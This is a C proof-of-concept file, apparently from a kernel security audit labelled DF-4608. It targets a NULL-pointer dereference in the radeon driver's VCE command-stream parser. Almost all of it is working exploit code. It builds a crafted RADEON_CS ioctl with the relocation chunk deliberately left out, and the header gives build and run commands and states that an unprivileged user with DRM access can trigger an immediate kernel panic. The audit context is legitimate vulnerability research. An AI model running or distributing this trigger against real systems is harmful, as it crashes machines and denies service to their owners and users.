DF-4608 / vce_null_relocs.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | /* * DF-4608 trigger: radeon_vce_cs_reloc() NULL-pointer dereference when a VCE * command stream is submitted WITHOUT a RADEON_CHUNK_ID_RELOCS chunk. * * radeon_cs_parser_init() (radeon_cs.c:284,313) leaves p->chunk_relocs * NULL when the user omits the relocs chunk * radeon_cs_parser_relocs() (radeon_cs.c:83-85) returns 0 (success!) * instead of rejecting the submission * radeon_vce_cs_parse() (radeon_vce.c:557) parses the IB * radeon_vce_cs_reloc() (radeon_vce.c:478-482) dereferences * p->chunk_relocs->length_dw -> NULL page-fault * * Compare the two existing guards the VCE path forgot: * radeon_cs.c:846-850 generic packet path: "No relocation chunk !" * radeon_uvd.c:705-709 UVD parser: "No relocation chunk !" * * Build: cc -O2 -Wall -o vce_null_relocs vce_null_relocs.c * Run: ./vce_null_relocs /dev/dri/renderD128 (or /dev/dri/card0) * * Expected on affected hardware (SI/CIK radeon with VCE, radeonkms loaded): * kernel page fault at ~NULL + offsetof(struct radeon_cs_chunk, length_dw) * -> immediate panic. Userspace needs no privileges beyond DRM access. * On this audit guest: exits with ENOENT-style message (no radeon GPU). */ #include <sys/ioctl.h> #include <sys/types.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> /* ---- minimal uapi re-implementation (no libdrm needed) ---- */ #define DRM_IOCTL_BASE 'd' struct r_cs_chunk { uint32_t chunk_id; /* 1=RELOCS 2=IB 3=FLAGS */ uint32_t length_dw; uint64_t chunk_data; /* user pointer */ }; struct r_cs { uint32_t num_chunks; uint32_t cs_id; uint64_t chunks; /* __u64 * -> struct r_cs_chunk * */ uint64_t gart_limit; uint64_t vram_limit; }; #define RADEON_CS 0x26 #define SIZEOF_CS 32 /* sizeof(struct drm_radeon_cs) on x86_64 */ #define IOCTL_CS _IOWR(DRM_IOCTL_BASE, 0x40 + RADEON_CS, char[SIZEOF_CS]) #define CHUNK_ID_FLAGS 3 #define CHUNK_ID_IB 2 #define CS_RING_VCE 4 int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/dri/renderD128"; int fd, r; /* FLAGS chunk: dword0 = flags (no USE_VM), dword1 = ring = VCE */ uint32_t flags_dw[2] = { 0x0, CS_RING_VCE }; /* * IB chunk: session command (12 bytes: len,0x00000001,handle) then a * feedback-buffer command (16 bytes) whose parse calls * radeon_vce_cs_reloc(p, idx+3, idx+2, 4096) -> NULL deref of * p->chunk_relocs. */ uint32_t ib_dw[7] = { 0x0000000c, /* len = 12 bytes */ 0x00000001, /* session cmd */ 0x11223344, /* session handle */ 0x00000010, /* len = 16 bytes */ 0x05000005, /* feedback buffer cmd */ 0x00000000, /* idx+2: reloc chunk index (lo) */ 0x00000000, /* idx+3: reloc offset (hi) */ }; struct r_cs_chunk chunks[2] = { { .chunk_id = CHUNK_ID_FLAGS, .length_dw = 2, .chunk_data = (uint64_t)(uintptr_t)flags_dw }, { .chunk_id = CHUNK_ID_IB, .length_dw = 7, .chunk_data = (uint64_t)(uintptr_t)ib_dw }, /* NOTE: deliberately NO chunk_id == 1 (RELOCS) chunk */ }; uint64_t chunk_ptrs[2] = { (uint64_t)(uintptr_t)&chunks[0], (uint64_t)(uintptr_t)&chunks[1], }; struct r_cs cs = { .num_chunks = 2, .chunks = (uint64_t)(uintptr_t)chunk_ptrs, }; fd = open(dev, O_RDWR); if (fd < 0) { printf("open %s: %s (this guest has no radeon GPU -- " "trigger not runnable here)\n", dev, strerror(errno)); return (2); } r = ioctl(fd, IOCTL_CS, &cs); printf("RADEON_CS ioctl returned %d errno=%d (%s); " "expected kernel panic on affected hardware\n", r, errno, strerror(errno)); return (0); } |